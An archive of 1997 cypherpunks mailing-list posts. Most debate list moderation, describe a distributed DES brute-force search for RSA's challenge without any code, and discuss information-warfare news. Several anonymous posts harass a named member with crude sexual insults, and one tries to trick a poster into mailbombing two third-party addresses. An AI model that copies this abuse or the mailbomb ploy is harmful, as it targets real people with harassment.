	The more plants that you have in your garden, the less room
	there is for weeds.

A broad base of different types of posters makes the list interesting; a
serious consideration of the actual focal subject gives it credibility
and respect.   

Of course, a forum is for conversation; some people who are extremely
focused on their work don't want to talk all that much about it, and
those who have a lot to say aren't necessarily engaged directly in the
actual work involved.   It's also much easier to make many small
comments on a thread than to present a developed, coherent presentation
of one's view.   (I credit Tim May for often posting just such messages
as these.)   

As a non-cryptographer my interest in the subject has to do with the
role it plays in the context of maintaining/expanding "liberty" and of
having tools to employ for privacy and independence from indiscriminate
"regulators".   Reading only about the code wouldn't keep me
super-enthralled.  But seeing the effects of it on all aspects of our
regulated social existence, with the list as a starting point for
understanding, is highly engaging.

   ..
Blanc

>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 6 Jan 1997 09:48:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: IWD_ism
Message-ID: <1.5.4.32.19970106174418.00665a90@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


1-6-96.

"Information-Warfare Defense Is Urged"

   The Defense Science Board said the Pentagon should 
   launch counterattacks against computer hackers by 
   injecting the attackers'  computers with "a polymorphic 
   virus that wipes out the system, takes it down for weeks."

   The report largely sidesteps as irrelevant the continuing 
   controversy about the export of encryption codes.

-----

IWD_ism






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Mon, 6 Jan 1997 13:20:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IWD_ism
In-Reply-To: <1.5.4.32.19970106174418.00665a90@pop.pipeline.com>
Message-ID: <l03010d01aef71c2cf962@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


>John Young wrote:
>>
>>    ... injecting the attackers'  computers with "a polymorphic
>>    virus that wipes out the system, takes it down for weeks."
>
>Looks to me like somebody's trying to land a job writing X-Files
>scripts.

[funny bit sadly removed]

Ditto. Is there a URL I can go to for this report?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thaddeus J. Beier" <thad@hammerhead.com>
Date: Mon, 6 Jan 1997 13:45:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IWD_ism
Message-ID: <32D172D6.2781@hammerhead.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> 1-6-96.
> 
> "Information-Warfare Defense Is Urged"
> 
>    The Defense Science Board said the Pentagon should
>    launch counterattacks against computer hackers by
>    injecting the attackers'  computers with "a polymorphic
>    virus that wipes out the system, takes it down for weeks."
> 

This is completely unbelievable, who are these people?
I believe that the polymorphic virus is originally from
the classic "Shockwave Rider" and was seen as an impossible
fiction even in that book of improbable fiction.

-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Mon, 6 Jan 1997 10:48:37 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Sandy and I will run a cypherpunks "moderation"
Message-ID: <199701061848.NAA27186@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


It might have been interesting to instead announce that
Sandy & John were starting a NEW list.....
It just happened to have the old name.

And the old list? Still there at .......

After all, the end result is the same.

[One problem -- does this mean SternFUD will be back?]

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 6 Jan 1997 10:47:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: [DES] DES Key Recovery Project, Progress Report #5
Message-ID: <199701061847.KAA28453@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DES Key Recovery Project, Progress Report #5
6 January 1997

Well, the New Year brings changes....

1. I'm astonished at the low level of reaction RSA's 
announcement that they will be sponsoring a DES Challenge, 
with a $10,000 cash prize.

I've been working with people at RSA to get this set up. It looks like
there'll be an ascii-plaintext challenge (we won't know the full
plaintext - just that it's ascii, and long enough to be unambigious),
and the full prize will go the first person who emails them the key. 

This is pretty much what we need to recruit a large number of 
otherwise dis-interested people, and their machines. The code
will be a tad slower than for an attack where we know the full
plaintext of the block sought, but not much.

2. As for my code for WinTel machines - it's very close 
to an initial alpha release (squashing a few last bugs). I 
intend this to be used only for identifying porting issues. 
The first 'real' version is a couple weeks away. 

Once the alpha is out, I'll be looking at the new assembly
language code from Eric Young and Svend Mikkelsen to see
how it compares with mine. Since Eric independently matched
my speed in the DES round, I want to see if he is using any
different tricks than I.

When it's released, my code will be able to:

1. Run a validity and speed test.
2. Accept a specified 32 bit 'chunk' of the keyspace to test. When it
   finishes a chunk, it appends information about whether it found the
   key to a results file, and also any half-matches it found along
   with a checksum. The latter two items help make cheating and
   sabotage more difficult. 
3. Read it's input (plaintext, IV, etc) from a file. After the actual
   DES Challenge is announced, I'll hardwire that challenge into the
   program.
4. Periodically checkpoint it's status to a file. This is so that the
   program can be stopped at any time neccesary, without losing more
   than a few minutes work. At startup, it looks in this file for
   where to continue searching, unless instructed otherwise.  

It will NOT run as a screen saver. It's actually more efficient to run
as a low-priority task in the background - that way it soaks up unused
cycles even when a screen saver is not in operation. If someone else
want's to incorporate it into an SS, go ahead.

The alpha will run in a DOS box under Win95 and WinNT. A GUI
interface may come along later.

It will NOT talk to a keyspace server, though the format of the 
input and output should make it possible to add this in the 
future. I don't have time to develop both myself, and while 
people on the lists have proposed any number of complex schemes 
for setting up and managing a server, no one in the US seems
willing to do the work (I'm worried about violating ITAR/EAR).
I have a pretty good idea what needed in a server. At very least, I'd
like to have people register the fact that they are taking part, so we
get some idea of the level of effort being expended.

The very first time it is started up on a given machine, if 
it is not given a specific chunk at which to start, it will 
pick one at random. The checkpointing scheme means that on 
later runs, it will pick up where it left off, advancing to 
the next chunk as it completes each one.

For this purpose, we don't need cryptographically strong PRNG,
just one that provides a fairly smooth distribution of results.

This means that the search *will* complete, but the time is not
as good as a carefully doled-out keyspace would provide. If you
want to do the math, go ahead, but I think it will average about
twice as long as a purely doled-out search to search the whole
keyspace, and somewhat less to search half the keyspace.

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Douglas Barnes <cman@c2.net>
Date: Mon, 6 Jan 1997 14:33:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Thoughts on moderation
Message-ID: <3.0.32.19970106143122.00d9d5d4@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



Some thoughts --

1) I've known Sandy for a couple of years, and I trust him to 
   use good judgement as a moderator. It will be important to 
   develop guidelines so that the job can be rotated, but it's also
   important that the moderator be someone who doesn't have any 
   major axe to grind. Sandy has his personal likes and dislikes,
   but I don't think he'll ever stoop to tossing out opinions that
   he disagrees with.

2) I don't think that a post should be tossed out simply because
   it contains an ad-hominem attack, but only if it is entirely or 
   almost entirely an ad-hominem attack. (Timmy May sucks cock, or
   John Gilmore dead of AIDS, or found drowned in his hot tub, or 
   whatever...) I'd hate to see an otherwise substantive post get
   pitched out because it referred to Dorothy Denning as the Wicked
   Witch of the East or somesuch.

3) I agree that maintaining the list of posts that are tossed out
   is important as a check against abuse by the moderator.

4) I think that anyone who confuses the editing of a list with
   censorship is a complete fool, and should be sentenced to running
   a free counterculture newspaper in which he or she is compelled
   to publish whatever fevered ramblings enter the head of the
   members of the "community" without editing. [This is the voice
   of experience speaking here -- you don't want to do this.]

   Freedom of the press belongs to those that own presses. The 
   Internet makes it a lot easier to own a "press", but it doesn't
   make them grow on trees, nor does it give you any special rights
   to appropriate someone else's press. (I'm assuming that the peurile 
   lamers -- oops,ad-hominem alert -- who are arguing so strongly 
   against editing the list also believe in property rights, yes?)

FWIW,

Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 6 Jan 1997 14:41:07 -0800 (PST)
To: thad@hammerhead.com (Thaddeus J. Beier)
Subject: Re: IWD_ism
In-Reply-To: <32D172D6.2781@hammerhead.com>
Message-ID: <199701062240.OAA13379@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Thaddeus J. Beier writes:
> 
> > "Information-Warfare Defense Is Urged"
> > 
> >    The Defense Science Board said the Pentagon should
> >    launch counterattacks against computer hackers by
> >    injecting the attackers'  computers with "a polymorphic
> >    virus that wipes out the system, takes it down for weeks."
> > 
> 
> This is completely unbelievable, who are these people?
> I believe that the polymorphic virus is originally from
> the classic "Shockwave Rider" and was seen as an impossible
> fiction even in that book of improbable fiction.

And a virus that "wipes out the system, takes it down for weeks"
is even more improbable- how long does it take to reinstall an OS?

But the objective of this exercise is not computer science
it is political science.  All that's needed is something that sounds
super-high-tech enough that (technically ignorant) members of
Congress will buy into it and fund it.  It doesn't have to actually work.
This tactic has been successful for the military-industrial complex
since before the end of WWII.  They're just extending it in the
new "information age".

What do you want to bet that we will soon be hearing about
needing "first strike" InfoWar capability in order to be able to
"fight on two fronts at once" for "mutually-assured cyber-destruction". 
The first US Army counter-virus will be called the "peacemaker". :-)


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Mon, 6 Jan 1997 14:49:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ONE MILLION CHILDREN.....
Message-ID: <199701062248.OAA01889@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



What did cypherpunks do to get so much spam?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Mon, 6 Jan 1997 14:57:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Token Posting Scheme
Message-ID: <199701062255.OAA02600@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



How about this simple policy scheme:

  1) posts from known list members forwarded to list automatically
  2) posts with "approval cookie" also forwarded automatically
  3) otherwise, forwarded only after approval by moderator, whose charter
	only permits spam filtering.

People who don't want to use their own name in a post, and also don't
want to be bothered with creating a cookie are the only ones whose posts
are delayed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Barnes <rbarnes@gil.com.au>
Date: Sun, 5 Jan 1997 20:56:52 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Sandy and I will run a cypherpunks "moderation" experiment in Jan
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970106045633Z-122@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain


</Exit lurker mode>

Congratulations on your decision to moderate this list.

My bottom line feeling with respect to this is that we cannot
expect freedom unless we are willing to exercise responsibility.
It is apparent that the people who are noisiest about freedom of
speech and content censoring are working tirelessly to abuse
the list and provoke the very opposite of their stated ideals.

As for the spammers who have run riot in recent months,
moderation will remove the burden of re-transmitting this unwanted
garbage from the list server and save us all the time and effort
currently wasted dealing with it.

</Enter lurker mode>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Barnes <rbarnes@gil.com.au>
Date: Sun, 5 Jan 1997 21:30:11 -0800 (PST)
To: "'Vin McLellan'" <dthorn@gte.net>
Subject: RE: C'punks "moderation" experiment
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970106052955Z-125@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
>>Vin McLellan wrote:
>>> Thank you.  I look forward to more of the best of C'punks, without
>>> having the hassle of continually  weeding out the vapid bullshit.
>>> Apparently because of your philosophical orientation, you have stayed open
>>> -- and kept the List open -- to this pattern of eggregious harassment far
>>> longer than I would have thought possible.  I applaud your patience, but
>>> for myself -- I have had more than enough!
>>
>>Well, Vin, without commenting on your plug for censorship, I can only
>>say that I hope you are *very* fond of Sandy Sandfort, since he becomes
>>YOUR LORD GOD for cypherpunks list purposes.
>>
>>How many other gods do you have, Vin (if that's your real name, Vin)?
>
My understanding was that there would probably be more than one
moderator, also as Sandy's moderation decisions will be open to
scrutiny by interested members of the list I cannot see the list
membership accepting unsuitable moderation decisions, either by
Sandy or anyone else.

This list has a purpose, lets get back to it.
>
>--------------------------------------------------------------
>Robert Barnes                     Phone: +61 7 32529722
>                                  Fax:   +61 7 32571403
>Tritronics (Australia) Pty Ltd    Email: robertb@tritro.com.au
>
>PGP Key fingerprint
>  =  02 A6 22 5E 26 D3 7C 4D  E2 91 9E 15 AC EA B1 58
>Send e-mail with "get key" in the "Subject:" field to get
>a copy of my public key




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Mon, 6 Jan 1997 15:54:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970106231005Z-16@net.tritro.com.au>
Message-ID: <Pine.SUN.3.92.970106155002.15582A-100000@kelly.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 7 Jan 1997, Robert Barnes wrote:

> I would say that there had been a lot more than "some of that".
> I believe that moderation as proposed does not really limit
> anyones Freedom of Speech.

I'm all for the moderation experiment.  Perhaps I didn't make that clear
:)


Rich

_______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb/
See my Blue Ribbon Page at http://www.teleport.com/~richieb/blueribbon/
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: thad@hammerhead.com (Thaddeus J. Beier)
Date: Mon, 6 Jan 1997 16:54:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation
Message-ID: <199701070055.QAA11918@hammerhead.com>
MIME-Version: 1.0
Content-Type: text/plain



I think that this is a completely fabulous idea, an commend John and
Sandy for doing this.  Let me add my own suggestion.

This will fail if flames migrate from cypherpunks-flames to cypherpunks,
I would attempt to prohibit threads that only exist in cypherpunks-flames
being continued into the moderated list.  This'll be hard to do, Sandy,
I know, but if you could think of a way to do this, I think that your
experiment is more likely to succeed.

Phrases like "As I said in the letter that only got sent to
cypherpunks-flames" should cause the whole article to be yanked,
IMHO.

thad
-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 6 Jan 1997 17:08:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Token Posting Scheme
Message-ID: <3.0.32.19970106170333.006c0d5c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 02:55 PM 1/6/97 -0800, Ed Falk wrote:
>
>How about this simple policy scheme:
>
>  1) posts from known list members forwarded to list automatically
>  2) posts with "approval cookie" also forwarded automatically
>  3) otherwise, forwarded only after approval by moderator, whose charter
>	only permits spam filtering.

Seems this is what the STUMP scheme we read about yesterday does. I suggest
Sandy and John take a good look at it.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Mon, 6 Jan 1997 10:08:08 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.LNX.3.95.970105173751.329A-100000@eclipse>
Message-ID: <19970106180747.6966.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


"Mark M." <markm@voicenet.com> writes:

> To reduce the load on toad.com, I think it would be better to have
> just "cypherpunks" and "cypherpunks-unedited".  Messages approved
> for the moderated list would be tagged with an "Approved:" header
> and sent to both lists.  Rejected messages would still go to the
> unedited list, but would not have an "Approved:" header (this would,
> of course, require that the moderation software rename or delete
> "Approved:" headers).  The only problem with this is that the lag
> time for distribution of the unedited list might increase.

Other people are suggesting things like this.  I think it is a bad
idea to tag the -unedited version of the list with moderation
decisions, because then even the -unedited versions of messages would
be delayed until a moderation decision had been made.

Some people already have suitable mail/news filters, and would rather
make their own article selections.  Please don't make those people
wait for moderation decisions.

Instead, moderation summaries (for instance in NoCeM format) could be
posted to another list, for those who want to know about moderation
decisions.

No matter what happens, there should definitely be some address
through which people can receive a completely unedited, undelayed,
unmoderaded copy of the mailing list.  So if you want a tagged version
of the list, there should also be a cypherpunks-raw or something.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raymond Mereniuk <Raymond@advcable.com>
Date: Mon, 6 Jan 1997 19:19:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Why This List Should Be Moderated
Message-ID: <s2d15004.020@zed.ca>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a very good reason why this list should be
moderated.  I keep writing rules (filters) to catch and delete such
messages but the sender keeps changing something and I must write a
new rule.  The moderation proposal sounds great and I would like to
thank the moderators in advance for stopping messages like the
following from reaching my mailbox.

Also, could Mr. Haystack please advise the group of his current
medication(s), we don't want anyone to suffer the same side-effects.

>>> Bovine Remailer <haystack@cow.net>  1/6/97, 04:51pm >>>
Tim C. May's aberrant sexual life has negatively 
impacted his mental integrity.

       o)__
      (_  _`\ Tim C. May
       z/z\__)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 6 Jan 1997 18:31:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.LNX.3.95.970105173751.329A-100000@eclipse>
Message-ID: <32D1B505.13D4@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


I like it.

My take on the issues I see here:

1) Moderator liability and anonymous posting. The open nature of the
   list means that "copyright violations" threads and the like are
   thought more or less safe for the people who own toad.com. With
   moderation, this is less likely to be as "safe." Without calling
   for a blanket assault on copyrights (I do have friends who make
   their living as writers), and speaking only selfishly, I think it    
   would be a shame to lose the "copyright violations" posts. So I
   think we need a way to diminish or at least distribute moderator 
   liability. Let's revisit the "Member of Parliament Problem" thread
   of a month or so ago for solutions. Presumably STUMP or some other
   moderation tool could be modified to support a secure anonymous-
   approval protocol.

2) "Vote of confidence in Sandy." No. I agree with Igor Chudov.
   Absolute power corrupts; confidence, and particularly votes of
   confidence (this isn't a popularity contest), are the wrong way
   to go. Try "trust, but verify." As many of you know, I'm still
   barred from a list run by another cypherpunks subscriber for
   reasons I consider totally invalid. While I have confidence in
   much of what this person writes, and don't mind if other people
   have full confidence in him (because he's usually on the right
   side), this content-based censorship, and particularly the lack
   of transparency about it (his list never had this kind of
   discussion, nor do most of his subscribers even know that some
   people are banned), bugs me.

3) Full v. filtered v. flame lists. I'd choose to dump the full
   list, keeping the flame & filtered. People who want to can
   simply subscribe to both, and filter them into the same incoming
   mailbox, for the same effect. Only minor problem I'd forsee is
   that the flame list might propagate faster than the filtered
   list because it would have fewer subscribers.

4) "Qui custodiet ipsos custodes." When I first saw that thread
   title, I thought it pertained to the moderation proposal. It
   could. That's why I'd like to see the rejected messages archived,
   at least for a while, as they are with Chudov's STUMP. What I'd
   like best, since I don't particularly want to waste bandwidth or
   my disk space with what would, by definition, be mostly crap, is
   a hks.lists.cypherpunks.flames on the open nntp port I'm using
   to read cypherpunks today. As some of you have noticed, I'm not
   on the list now, because most of it is junk; I just point
   Netscape at HKS Inc's open port whenever the whim strikes me,
   and grab the few messages that look interesting. I'd like to do
   the same with the "flame" list, every couple days. Of course, HKS
   and the other public archives would make that decsion, and I
   thank them for the free service they've provided me so far.

5) "[Mostly libertarian] off-topic political junk." As someone who
   disagrees with a lot of, variously, Tim's, Lucky Green's, and
   attila's politics, I strongly agree with them that that's what I'm
   on cypherpunks for. The alternative is not just coderpunks, but
   also Perry's cryptography@c2.net, which is dedicated to the issues
   that cypherpunks were apparently originally about. (I can't really
   say for sure, because the majority of messages have been off-topic
   since about January 1996, and I only joined in October 1995.) I
   don't think it's a capitulation to admit that cypherpunks has
   evolved/devolved to a forum that bears little resemblance to its
   original charter. What we are is a bunch of mostly (but not all)
   libertarian ranters and ravers who are, for various and not
   necessarily consistent reasons, interested in the theme that         
   ubiquitous strong crypto is a good thing. (I just edited the
   previous sentence to change "believe that it's a good thing" to
   "are interested in" because I wouldn't mind having a Denning or a
   Sternlight here.) Not all threads need have *anything* to do with
   that theme for the forum to be useful to me. This happens to be the
   only place I get to hear people like Lucky Green and Tim May rant
   and rave about all sorts of other topics (I mean that in a good
   way; I read most of what they write, and while I don't always agree
   with it, it's always important). I don't want to lose that unique
   opportunity just because it's "off-topic."

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 6 Jan 1997 15:25:50 -0800 (PST)
To: Cypherpunks <antimod@nym.alias.net>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <19970106180747.6966.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970106181823.1009B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 6 Jan 1997, Against Moderation wrote:

> Other people are suggesting things like this.  I think it is a bad
> idea to tag the -unedited version of the list with moderation
> decisions, because then even the -unedited versions of messages would
> be delayed until a moderation decision had been made.
> 
> Some people already have suitable mail/news filters, and would rather
> make their own article selections.  Please don't make those people
> wait for moderation decisions.

The problem with making an undelayed, unedited version of the list available
is that it would increase the burden on toad.com.  I suppose someone could run
a mail exploder that would receive the raw version and mail it out to all
subscribers.  I don't see the increased lag as much of a problem.  If an
automatic moderation program is used, the lag should be insignificant for most
posts.

> Instead, moderation summaries (for instance in NoCeM format) could be
> posted to another list, for those who want to know about moderation
> decisions.

This would not only increase the load on toad.com, but would also make it more
difficult for people who want to receive the moderated version and monitor the
moderators decisions.  Mail filtering can be done simply on many mail programs,
but checking a list of moderation decisions against the mailing list traffic
would be just too complicated.  NoCeM is a nice idea, but most people on this
list probably do not have the platform needed to run the software.

> No matter what happens, there should definitely be some address
> through which people can receive a completely unedited, undelayed,
> unmoderaded copy of the mailing list.  So if you want a tagged version
> of the list, there should also be a cypherpunks-raw or something.

This would cause the same amount of load as having the three separate mailing
lists.  In fact, it would be even worse if cypherpunks-raw was treated as a
completely separate mailing list instead of being aliased to the spam and
moderated lists.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 6 Jan 1997 18:56:59 -0800 (PST)
To: cryptography@c2.net
Subject: The Upcoming DES Challenge
Message-ID: <199701070256.SAA00819@netcom8.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Trei (trei@process.com) writes:

 > 1. I'm astonished at the low level of reaction RSA's
 > announcement that they will be sponsoring a DES Challenge,
 > with a $10,000 cash prize.

I'm certainly jumping up and down and cheering.  I said a while
back that the life expectancy of DES would be about two weeks if
anyone forked over serious cash.

I'm also pleased to see they will be offering prizes for trying
to break Ron Rivest's new RC5 cipher, which scrambles using data
dependent rotates as its only non-linear operation.  This is very
speedy, and if it turns out to be robust, will be a nice fast
efficient drop-in replacement for most other popular block
ciphers.

 > I've been working with people at RSA to get this set up. It looks
 > like there'll be an ascii-plaintext challenge (we won't know the
 > full plaintext - just that it's ascii, and long enough to be
 > unambigious), and the full prize will go the first person who
 > emails them the key.

Ick.  Why overly complexify things?  A known plaintext attack
would be far more straightforward.  After all, the goal is to
recover the key, not the message.  Having to find a key which
decrypts to something having all high bits clear will discourage
people who might want to take a crack at this independent of the
canned program you are going to distribute.

[snip]

 > It will NOT run as a screen saver.

Too bad.  The screensaver paradigm is something the unwashed
masses can easily understand.

 > The very first time it is started up on a given machine, if
 > it is not given a specific chunk at which to start, it will
 > pick one at random. The checkpointing scheme means that on
 > later runs, it will pick up where it left off, advancing to
 > the next chunk as it completes each one.

This is VERY IMPORTANT.  Unlike factoring problems, where the
data supplied by people can be checked in a small fraction of the
CPU time used to generate it, searching a keyspace is very
vulnerable to sabotage or stupidity on the part of the people
doing the searching.  It is well worth the extra factor of 2-3 to
guarantee that the exercise will eventually terminate.

Sounds good, but I would prefer matching plaintext and ciphertext
with the goal of recovering the key.  This is really the
situation that would exist for someone tapping financial data on
a line, and knowing the plaintext of a transaction he
deliberately generated for testing purposes.

K.I.S.S.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Mon, 6 Jan 1997 10:43:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701061835.TAA00200@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
 > > (If you think our list is bad, you ought to see lists which are completely
 > > dominated by one-line witticisms and inside jokes....)
 > 
 >   Or 10,000 messages saying only, "Merry Christmas", followed a few days
 > later by another 10,000 messages saying, "Happy New Year".
 >   Anyone who needs 'proof' that I am speaking the truth, here, (and who
 > has a 10Gb hard drive), can just send me their email address, and I
 > would be glad to forward them.

     Thanks for your kind offer.  Please send the material to:

          dlv@bwalk.dm.com

(Better send several copies of each message to make sure none get
lost.)  I can also get mail at:

          aga@dhp.com

Might as well send to both accounts.

Thanks again!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Mon, 6 Jan 1997 17:08:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701070051.AA17090@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May's aberrant sexual life has negatively 
impacted his mental integrity.

       o)__
      (_  _`\ Tim C. May
       z/z\__)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <lucifer@dhp.com>
Date: Mon, 6 Jan 1997 16:56:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Modified Token Posting Scheme
Message-ID: <199701070052.TAA17597@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


>The proposal to limit "noise" posts by using re-usable tokens is
>interesting because it has the effect of filtering and at the 
>same
>time remains responsive because the "moderator" passes judgement
>after posting has occurred.
>
>In essence, the poster is betting that the moderator will approve
>the post retroactively.
>
>The purpose of limiting the tokens available is to give them 
>value
>so that there is a cost associated with losing the bet.
>
>However, distribution of the tokens has the same problems that 
>centrally
>planned economies have distributing bread.  Should people wait in 
>line,
>receive bread at random, or get their bread through connections? 
> None of
>these solutions is attractive.
>
>The right way to implement the scheme is to use dollars for 
>tokens
>because the USG has already solved the problem of giving the 
>tokens
>value.
>
>The "moderator" returns the money to people when posts are 
>worthwhile
>and keeps it otherwise.  This means that the "bet" can be quite a 
>bit
>larger than a dollar because responsible posters will get their 
>money
>back.  Starving graduate students will not be discouraged from 
>posting.
>Abusive posters, anonymous posters, or spam artists will have to 
>pay
>a substantial fee for the privilege.
>
>Of course, there's no reason to have just one moderator on the 
>list.
>A moderator could just be an e-mail account that forwards mail to
>the list if valid payment is received.  (Moderators should PGP 
>sign
>their messages so mail forging won't work.)  Readers could filter
>on which moderators have approved the kinds of posts they want to 
>read.
>
>The effect of this scheme is to allow newcomers, infrequent 
>posters,
>or anonymous posters to get through killfiles without taking the
>time and effort to develop a reputation.
>
>Peter Hendrickson
>ph@netcom.com


Why the FUCK don't we just find the antichrist or call on GOD to kill all spammers and then buy a gun and shot holes in the computer??

this whole isssue will never be solved without action


get a fuckin real job!!!!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Mon, 6 Jan 1997 11:21:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] ZKP
Message-ID: <199701061912.UAA03960@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Mayo is the living proof that anal sex 
causes pregnancy.

    /\ _ /\          |
   |  0 0  |-------\==
    \==@==/\  ____\ |
     \_-_/ _||    _||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 6 Jan 1997 20:15:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Foreign spies snoop the Net, from The Netly News
Message-ID: <Pine.GSO.3.95.970106201500.27803C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Mon, 6 Jan 1997 20:14:17 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Foreign spies snoop the Net, from The Netly News


   The Netly News
   http://netlynews.com/
   
   SPY VS. SPY
   January 6, 1997
   By Declan McCullagh (declan@well.com)
      
       Move over, James Bond. Take your last bow, Maxwell Smart. Modern
   spies are jacked into the Net, a recent report from the multiagency
   National Counterintelligence Center says. It claims the Internet is
   now the "fastest growing" means for foreign governments and firms to
   gather information about U.S. businesses.
   
